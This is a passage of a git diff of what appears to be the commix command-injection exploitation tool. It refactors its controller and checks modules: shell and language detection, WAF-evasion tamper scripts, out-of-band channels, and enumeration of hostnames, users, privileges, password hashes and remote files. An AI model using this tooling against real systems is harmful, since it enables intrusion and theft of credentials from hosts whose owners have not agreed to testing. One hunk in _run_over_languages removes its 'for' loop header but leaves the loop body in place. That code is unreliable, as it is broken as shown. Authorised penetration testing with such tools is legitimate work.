"[(N)o/(u)nix-like/(w)indows/(q)uit] " got_os = common.read_input(message, default="N", check_batch=True) if got_os.lower() in settings.CHOICE_OS : @@ -1572,6 +1608,31 @@ def escape_json_value(value): def strip_xml_forbidden(value): return "".join(char for char in value if char >= " " or char in "\t\n\r") +""" +Take the evaluated language from something the target already said about itself. + +'X-Powered-By: PHP/5.5.9' names the language before a single probe is sent, and the sweep would +otherwise go looking for it. Only a language commix has a grammar for counts, and only where the +user named none - what they asked for outranks what a header happens to mention. +""" +def note_evaluated_language(*banners): + if settings.IDENTIFIED_EVAL_LANGUAGE: + return + if menu.options.eval_sink and menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + return + # Whichever of them names a language first: the URL's own extension is the narrower answer, and + # the header behind it names what the extension cannot spell. + for banner in banners: + if not banner: + continue + # A '.py' extension names Python as surely as the word does, so the short names count too. + for name in list(settings.SUPPORTED_EVAL_LANGUAGES) + list(settings.LANGUAGE_ALIASES): + if re.search(r"\b" + re.escape(name) + r"\b", banner, re.IGNORECASE): + language = settings.resolve_language(name) + if language in settings.SUPPORTED_EVAL_LANGUAGES: + settings.IDENTIFIED_EVAL_LANGUAGE = language + return + def encode_payload(payload): """ A payload, encoded for a carrier that is URL-encoded. @@ -1714,7 +1775,7 @@ def http_auth_err_msg(): def error_loading_session_file(): err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." + err_msg += "Use the '--flush-session' switch." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1842,7 +1903,7 @@ def record_baseline_response_time(exec_time): def warm_up_response_baseline(url, http_request_method, close=True): if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: return False - warn_msg = "Time-related response comparison requires a larger statistical model" + warn_msg = settings.TIMING_BASELINE_MSG warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." # The open line says what is being tested, so it is closed rather than written over - and this # one is left open in its turn, for the dots below to be counted off on it. @@ -1904,6 +1965,7 @@ def _delay_threshold_from(times): margin = max(settings.TIME_STDEV_COEFF * deviation, mean * settings.MIN_RELATIVE_DELAY_MARGIN) return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) +# How late an answer has to be before it counts as a delay that was asked for. def current_delay_threshold(): # The payload costs more than a plain request - on the file-based path, two PowerShell launches # more - so what it costs with nothing held back is the only thing a probe can be judged against. @@ -1940,7 +2002,7 @@ def time_related_attaks_msg(): Check if defined "--url-reload" option. """ def reload_url_msg(technique): - warn_msg = "On the " + short_technique_label(technique) + ", the '--url-reload' option is not available." + warn_msg = "On the " + short_technique_label(technique) + ", the '--url-reload' switch is not available." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -1995,6 +2057,7 @@ def enable_all_enumeration_options(): """ def check_provided_parameters(): + # The parameter names given as a list, split the way the option accepts them. def parse_parameter_list(raw): if raw.startswith("="): raw = raw[1:] @@ -2041,6 +2104,7 @@ def header_named(header, names): def any_header_named(names): return any(header_named(header, names) for header in settings.HTTP_HEADER_ALIASES) +# Whether this parameter is one the run was told to test. def is_parameter_testable(name): if settings.TESTABLE_PARAMETERS_LIST: return name in settings.TESTABLE_PARAMETERS_LIST @@ -2117,6 +2181,7 @@ def tamper_dep_windows_only(tamper_name): if settings.TARGET_OS != settings.OS.WINDOWS: return "The '" + tamper_name + ".py' tamper script needs 'cmd.exe'. Skipping tamper script." +# Why this script cannot be applied to a Windows target. def tamper_dep_unix_only(tamper_name): if settings.TARGET_OS == settings.OS.WINDOWS: return "The '" + tamper_name + ".py' tamper script needs a POSIX shell. Skipping tamper script." @@ -2132,11 +2197,13 @@ def tamper_dep_eval_incompatible(tamper_name): if menu.options.eval_sink: return "Code injection (i.e. '--eval') does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." +# Why this script cannot be applied where no time-related technique is in scope. def tamper_dep_time_related_only(tamper_name): time_related_in_scope = len(menu.options.tech) == 0 or "t" in menu.options.tech or "f" in menu.options.tech if not time_related_in_scope: return "Only time-related techniques support the usage of '" + tamper_name + ".py'." +# Why this script cannot be applied alongside an interpreter of the user's own. def tamper_dep_interpreter_incompatible(tamper_name): if menu.options.interpreter: return "Option '--interpreter' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." @@ -2226,6 +2293,7 @@ def apply_waf_transport_evasion(): def waf_evasion_profiles(): return settings.WAF_EVASION_PROFILE["windows" if settings.TARGET_OS == settings.OS.WINDOWS else "unix"] +# Turn on the tamper scripts that a blocked payload calls for. def apply_waf_evasion(): if menu.options.tamper or not waf_evasion_consent(): return @@ -2283,7 +2351,7 @@ def tamper_scripts(stored_tamper_scripts): pass else: err_msg = "The '" + script + "' tamper script does not exist. " - err_msg += "Use the '--list-tampers' option for listing available tamper scripts." + err_msg += "Use the '--list-tampers' switch for listing available tamper scripts." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: @@ -2299,7 +2367,7 @@ def tamper_scripts(stored_tamper_scripts): info_msg = "Loading tamper module '" + script + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: - module = importlib.import_module("src.core.tamper." + script) + module = importlib.import_module("src.tamper." + script) except (ImportError, ValueError): continue if not hasattr(module, "__tamper__"): @@ -2607,7 +2675,7 @@ def perform_payload_modification(payload): for script in list(settings.MULTI_ENCODED_PAYLOAD): if script == 'xforwardedfor': continue - module = importlib.import_module("src.core.tamper." + script) + module = importlib.import_module("src.tamper." + script) payload = _apply_tamper(script, module, payload) return payload @@ -2670,6 +2738,7 @@ def warn_on_duplicate_json_keys(data): if settings.DUPLICATE_JSON_KEYS_WARNED: return seen, duplicates = set(), set() + # Warn once for each parameter that appears more than once in the same request. def _hook(pairs): for name, _ in pairs: if name in seen: @@ -2887,7 +2956,7 @@ def print_ps_version(ps_version, filename, _): settings.PS_ENABLED = True # Output PowerShell's version number info_msg = "Powershell version: " + ps_version - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_retrieved_data("powershell version", ps_version)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("powershell_version", ps_version) @@ -2899,7 +2968,7 @@ def print_hostname(shell, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_retrieved_data("hostname", shell)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("hostname", str(shell)) else: @@ -2914,7 +2983,7 @@ def print_current_user(cu_account, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_retrieved_data("current user", cu_account)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("current_user", str(cu_account)) else: @@ -2934,7 +3003,7 @@ def print_current_user_privs(shell, filename, _): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user has elevated privileges: " + str(priv) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_retrieved_data("current user has elevated privileges", priv, quoted=False)) logs.add_line(filename, info_msg, group="info") logs.report_set_info("current_user_elevated_privileges", priv == "True") """ @@ -2945,45 +3014,50 @@ def print_os_info(target_os, target_arch, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_retrieved_data("operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))) logs.add_line(filename, info_msg, group="info") logs.report_set_info("operating_system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)) else: - warn_msg = "Failed to fetch underlying operating system information." + warn_msg = "Failed to fetch target operating system information." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print enumeration info msgs """ class print_enumenation(): + # What is about to be asked of the target, named the way the answer will be labelled. + def _fetching(self, what): + settings.print_data_to_stdout(settings.print_info_msg("Fetching the " + what + ".")) + + # Say the powershell version is being fetched. def ps_version_msg(self): - info_msg = "Fetching powershell version." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("powershell version") + # Say the hostname is being fetched. def hostname_msg(self): - info_msg = "Fetching hostname." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("hostname") + # Say the current user is being fetched. def current_user_msg(self): - info_msg = "Fetching current user." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("current user") + # Say the current user's privileges are being fetched. def check_privs_msg(self): - info_msg = "Testing whether the current user has elevated privileges." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("current user's privileges") + # Say the target operating system is being fetched. def os_info_msg(self): - info_msg = "Fetching underlying operating system information." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("target operating system") + # Say the operating system users are being fetched. def print_users_msg(self): - info_msg = "Fetching operating system users. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("operating system users") + # Say the users' password hashes are being fetched. def print_passes_msg(self): - info_msg = "Fetching operating system users password hashes. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + self._fetching("operating system users' password hashes") + # Not a fetch: the command is the user's own, and it is named rather than described. def print_single_os_cmd_msg(self, cmd): info_msg = "Executing user-supplied command '" + cmd + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -3028,7 +3102,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi else: if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Operating system" + info_msg = "operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(info_msg) @@ -3069,7 +3143,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Operating system" + info_msg = "operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) @@ -3099,11 +3173,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # Per-user privileges, only when explicitly requested. if menu.options.privileges and parsed_users: - fetch_msg = "Fetching operating system users privileges. " + fetch_msg = "Fetching the operating system users' privileges." settings.print_data_to_stdout(settings.print_info_msg(fetch_msg)) - info_msg = "Operating system" + info_msg = "operating system" info_msg += " user" + ('s', '')[len(parsed_users) == 1] - info_msg += " privileges [" + str(len(parsed_users)) + "]:" + info_msg += "' privileges [" + str(len(parsed_users)) + "]:" settings.print_data_to_stdout(Style.BRIGHT + info_msg + Style.RESET_ALL) logs.add_line(filename, info_msg, group="privileges") for name, uid, homedir in parsed_users: @@ -3152,7 +3226,7 @@ def print_passes(sys_passes, filename, _, interpreter): warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, exporting it as a text file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - info_msg = "Operating system" + info_msg = "operating system" info_msg += " user" + ('s', '')[len(usable) == 1] info_msg += " password hashes [" + str(len(usable)) + "]:" settings.print_data_to_stdout(info_msg) @@ -3162,11 +3236,11 @@ def print_passes(sys_passes, filename, _, interpreter): logs.add_line(filename, " * " + username + ":" + digest, group="passwords") logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) else: - err_msg = "Unable to retrieve the password hashes for the operating system users." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + warn_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - err_msg = "Unable to retrieve the password hashes for the operating system users." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + warn_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Run the standard enumeration checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own enumeration entry point (see shellshock.py). @@ -3241,7 +3315,7 @@ def run_single_os_cmd(execute_cmd, filename): def print_single_os_cmd(cmd, output, filename): # One character is an answer too - 'echo A' was reported as having returned nothing. if len(output) > 0: - settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) + settings.print_data_to_stdout(settings.print_retrieved_data("execution output", output)) logs.executed_command(filename, cmd, output) else: err_msg = common.invalid_cmd_output(cmd) @@ -3317,6 +3391,7 @@ def remove_command_substitution(cmd): cmd = cmd.replace("echo $(", "").replace(")", "") return cmd +# The command with its brackets taken out, where the carrier cannot hold them. def remove_parenthesis(cmd): cmd = cmd.replace("(", "").replace(")", "") return cmd @@ -3355,7 +3430,7 @@ def check_file(remote_file_path): """ def file_content_to_read(file_to_read=None): file_to_read = file_to_read or menu.options.file_read - info_msg = "Fetching contents of the file: '" + info_msg = "Fetching the contents of the file '" info_msg += file_to_read + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: @@ -3388,7 +3463,7 @@ def file_readable(separator, timesec, http_request_method, url, vuln_parameter, """ def file_read_status(shell, file_to_read, filename): if shell: - _ = "Retrieved file content" + _ = "file contents" settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) logs.report_add_file(file_to_read, shell) @@ -3541,7 +3616,7 @@ def shell_download(execute_cmd, cmd, filename): return content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") else: - info_msg = "Fetching contents of the file: '" + remote_file + "'." + info_msg = "Fetching the contents of the file '" + remote_file + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) content, produced_output = download_file_bytes(execute_cmd, remote_file) if content is None and produced_output: @@ -3604,6 +3679,7 @@ def run_file_access(execute_cmd, filename): if ran: settings.FILE_ACCESS_DONE = True +# Mark which HTTP header the payload is going into. def define_vulnerable_http_header(http_header_name): if http_header_name == settings.USER_AGENT.lower(): settings.USER_AGENT_INJECTION = True @@ -3622,17 +3698,31 @@ def target_serves_concurrently(url, http_request_method, workers): import concurrent.futures except ImportError: return False - samples = [requests.quick_response_time_sample(url, http_request_method) for _ in range(2)] - samples = [_ for _ in samples if _ is not None] - if not samples: + sample = lambda _=None: requests.quick_response_time_sample(url, http_request_method) + # Opening the connections is paid for before either half is timed, so the half that runs second + # does not simply inherit what the first one warmed up. + for _ in range(2): + sample() + # Enough of them that the two halves differ by more than the cost of starting the workers: a + # handful of answers on a quick target is over in the time that costs on its own. + count = max(workers, settings.CONCURRENCY_PROBE_REQUESTS) + # Both halves are measured the same way, over the same number of requests. Timing one request and + # multiplying counts the cost of setting the others up as if it were the target's, which on a fast + # target is the larger half - and every such target then reads as one that answers them in turn. + start = time.time() + answered = [_ for _ in (sample() for _ in range(count)) if _ is not None] + one_after_another = time.time() - start + if not answered: return True - serial = min(samples) start = time.time() with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: - list(executor.map(lambda _: requests.quick_response_time_sample(url, http_request_method), range(workers))) - elapsed = time.time() - start - # Serving them in parallel takes far less than doing them one after another. - return elapsed < serial * workers * 0.5 + list(executor.map(sample, range(count))) + all_at_once = time.time() - start + # Too quick either way to tell the two apart. Whether the answers can really be told apart under + # concurrency is settled later anyway, on payloads that carry a delay of their own. + if one_after_another < settings.CONCURRENCY_PROBE_FLOOR: + return True + return all_at_once < one_after_another * 0.5 """ Decide whether persistent (Keep-Alive) connections are used. @@ -3665,7 +3755,7 @@ def init_oob_channel(): settings.OOB_SERVER = menu.options.oob_server or "" settings.OOB_TOKEN = menu.options.oob_token or "" if menu.options.oob_transport: - from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + from src.core.techniques.oob import oob_payloads as oob_payloads transport = str(menu.options.oob_transport).strip().lower() known = oob_payloads.WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else oob_payloads.UNIX_TRANSPORTS if transport not in known: @@ -3762,7 +3852,7 @@ def check_wrong_flags(): warn_msg += "'--is-root' to '--is-admin'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: - warn_msg = "The '--passwords' option is not yet supported on Windows targets." + warn_msg = "The '--passwords' switch is not yet supported on Windows targets." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if menu.options.is_admin : @@ -3774,9 +3864,6 @@ def check_wrong_flags(): Set writable path name """ def setting_writable_dir(path): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + path + "' for writable directory." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) info_msg = "Attempting to create a file in directory '" + path info_msg += "' for execution output. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -3788,14 +3875,17 @@ def define_py_working_dir(): if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.interpreter: while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python working directory on the target host? [Y/n] " + message += "' as default Python interpreter on the target host? [Y/n] " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for Python (e.g. '" - message += settings.WIN_PYTHON_INTERPRETER + "') " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) + message = "Please specify the full path to the Python interpreter executable (e.g. '" + message += settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " + custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string. + if custom_interpreter and custom_interpreter.strip(): + settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip() break else: common.invalid_option(python_dir) @@ -4034,7 +4124,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler + from src.core.techniques.tempfile_based import tfb_handler path = tmp_path setting_writable_dir(path) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) @@ -4093,10 +4183,14 @@ def min_safe_timesec(): def time_related_timesec(): min_safe_delay = min_safe_timesec() if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: - if settings.VERBOSITY_LEVEL != 0 and min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC: + if min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC: settings.REPORTED_MIN_SAFE_TIMESEC = min_safe_delay - debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." + # A value the user chose is not overridden quietly, whatever the verbosity. + if settings.USER_APPLIED_TIMESEC: + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + elif settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(msg)) return min_safe_delay else: return max(settings.TIMESEC, min_safe_delay) @@ -4117,9 +4211,9 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim err_msg += "'" + separator + "' filtration on the target host, or the command itself " err_msg += "being invalid." if not menu.options.interpreter: - err_msg += " If you're confident it's valid, try the '--interpreter' option or another injection technique." + err_msg += " If you are confident it is valid, try the '--interpreter' option or another injection technique." else: - err_msg += " If you're confident it's valid, try another injection technique." + err_msg += " If you are confident it is valid, try another injection technique." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for invalid provided command. else: @@ -4155,6 +4249,7 @@ def windows_only_attack_vector(): """ WINDOWS_SEPARATORS = ("&", "&&", "|", "||", "") +# The separator, where cmd.exe understands it, and nothing where it does not. def windows_separator(separator): return separator if separator in WINDOWS_SEPARATORS else None @@ -4403,7 +4498,10 @@ def set_python_working_dir(): break elif python_dir in settings.CHOICE_NO: message = "Please specify the full path to the Python interpreter executable (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string. + if custom_interpreter and custom_interpreter.strip(): + settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip() settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -4419,6 +4517,7 @@ def set_python_working_dir(): def random_tmp_path(length=5): return "/tmp/" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) +# Ask once whether the target keeps its shell binaries under '/bin/'. def use_bin_subdir(nc_alternative, shell): # Asked once per run - every "run" re-asking the same question is just noise. while settings.USE_BIN_SUBDIR_CHOICE is None: @@ -4578,4 +4677,4 @@ def in_scope(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return False -# eof \ No newline at end of file +# eof diff --git a/src/core/injections/controller/controller.py b/src/core/controller/controller.py similarity index 93% rename from src/core/injections/controller/controller.py rename to src/core/controller/controller.py index faf6e20eea..a0cbbf25f4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/controller/controller.py @@ -19,7 +19,7 @@ import random import string import difflib -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import logs from src.utils import settings from src.utils import common @@ -29,14 +29,14 @@ from src.core.requests import parameters from src.core.modules import modules_handler from src.core.requests import authentication -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.blind.techniques.time_based import tb_handler -from src.core.injections.blind.techniques.oob import oob_handler -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler -from src.core.injections.results_based.techniques.classic import cb_handler -from src.core.injections.results_based.techniques.eval import eb_handler +from src.core.techniques.time_based import tb_handler +from src.core.techniques.oob import oob_handler +from src.core.techniques.file_based import fb_handler +from src.core.techniques.tempfile_based import tfb_handler +from src.core.techniques.classic import cb_handler +from src.core.eval import eb_handler """ Command Injection and exploitation controller. @@ -196,13 +196,23 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, basic_payloads = [x.replace(settings.RANDOM_STRING_GENERATOR, settings.SINGLE_WHITESPACE.strip()) for x in basic_payloads] + """ + One shape per shell, and only the shape worth sending. + + The two payloads are the same question asked in each shell's own syntax, so which of them answers + is what names the shell. Where the operating system is already known - the banner said so, or + '--os' did - the other shape cannot execute, and sending it only doubles the requests. + """ + shaped = list(zip(basic_payloads, ("Unix-like", "Windows"))) + if settings.IDENTIFIED_TARGET_OS or menu.options.os: + wanted = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" + shaped = [pair for pair in shaped if pair[1] == wanted] or shaped + settings.CLASSIC_STATE = True try: for whitespace in settings.WHITESPACES: if not settings.IDENTIFIED_COMMAND_INJECTION: - _ = 0 - for payload in basic_payloads: - _ = _ + 1 + for payload, shell_os in shaped: response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) if type(response) is not bool and response is not None: html_data = checks.process_page_content(response, action="decode") @@ -210,7 +220,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if match: settings.IDENTIFIED_COMMAND_INJECTION = True # The token the rest of the code compares against, and then what was really shown. - checks.set_target_os(('Unix-like', 'Windows')[_ != 1]) + checks.set_target_os(shell_os) + # A payload that ran answers what the banner could not, so nothing need be asked. + settings.OS_IDENTIFICATION_PENDING = False announce_heuristic_finding("identified command shell: '" + checks.target_shell_label() + "'") # A shell answering here says nothing about whether a string is also evaluated as # code, so it settles the question only where the code injection sink was not asked @@ -235,7 +247,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, '--smart' it would be skipped outright. """ def oob_heuristic_basic(url, http_request_method, check_parameter, place): - from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + from src.core.techniques.oob import oob_payloads as oob_payloads channel = checks.init_oob_channel() if channel is None: @@ -341,8 +353,13 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p Whichever language answers is left in force, so the techniques that follow speak the one the heuristic found rather than starting the search over. """ - if menu.options.eval_sink == settings.EVAL_ALL_LANGUAGES: + if not menu.options.eval_sink or menu.options.eval_sink == settings.EVAL_ALL_LANGUAGES: languages = settings.SUPPORTED_EVAL_LANGUAGES + # Whichever the target named for itself goes first - the others still follow, since a + # header says what runs the page, not what evaluates a string inside it. + if settings.IDENTIFIED_EVAL_LANGUAGE in languages: + languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple( + _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) else: languages = (settings.EVAL_GRAMMAR.NAME,) for language in languages: @@ -377,9 +394,12 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p settings.SKIP_COMMAND_INJECTIONS = True elif not settings.EVAL_SUGGESTED: settings.EVAL_SUGGESTED = True - message = "Do you want to test it for code injection (i.e. switch '--eval')? [Y/n] " + # The sweep already found which language answered, so the switch is offered naming it + # rather than sending the run back over every language to find it again. + language = settings.EVAL_GRAMMAR.NAME + message = "Do you want to test it for code injection (i.e. option '--eval=" + language + "')? [Y/n] " if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES: - menu.options.eval_sink = settings.EVAL_ALL_LANGUAGES + menu.options.eval_sink = language settings.SKIP_COMMAND_INJECTIONS = True settings.EVAL_BASED_STATE = False @@ -412,7 +432,11 @@ def _run_over_languages(exploit): if settings.IDENTIFIED_EVAL_PROBE: return exploit() != False languages = settings.SUPPORTED_EVAL_LANGUAGES - for language in languages: + # Whichever the target named for itself goes first - the others still follow, since a header + # says what runs the page, not what evaluates a string inside it. + if settings.IDENTIFIED_EVAL_LANGUAGE in languages: + languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple( + _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) settings.set_eval_grammar(language) if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." @@ -421,6 +445,7 @@ def _run_over_languages(exploit): return True return False +# Run one technique, and say it was skipped where it did not run. def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit, eval_sink=False): setattr(settings, state_name, None) if not getattr(settings, skip_flag_name): @@ -436,6 +461,7 @@ def run_technique(injection_type, technique, state_name, skip_flag_name, tech_le def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI technique = settings.INJECTION_TECHNIQUE.CLASSIC + # Prove the injection by what the response carries back. def exploit(): result = cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if result != False: @@ -450,6 +476,7 @@ def exploit(): def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE + # Prove the code injection by what the response carries back. def exploit(): result = eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if result != False: @@ -466,6 +493,7 @@ def timebased_technique(url, timesec, filename, http_request_method, url_time_re eval_sink = bool(menu.options.eval_sink) injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.TIME_BASED + # Prove the injection by how long the target takes to answer. def exploit(): result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) if result != False and not eval_sink: @@ -485,6 +513,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m eval_sink = bool(menu.options.eval_sink) injection_type = settings.INJECTION_TYPE.SEMI_BLIND_CE if eval_sink else settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.FILE_BASED + # Prove the injection by a file the target writes and then serves back. def exploit(): if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES: @@ -506,6 +535,7 @@ def exploit(): def oob_command_injection_technique(url, timesec, filename, http_request_method): injection_type = settings.INJECTION_TYPE.BLIND technique = settings.INJECTION_TECHNIQUE.OOB + # Prove the injection by the target reaching out to somewhere else. def exploit(): result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if result != False: @@ -538,6 +568,7 @@ def check_parameter_dynamism(url, http_request_method, check_parameter): marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + # Build the request, with the value carried wherever the parameter lives. def build(header_name, option_value, value): if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) @@ -565,6 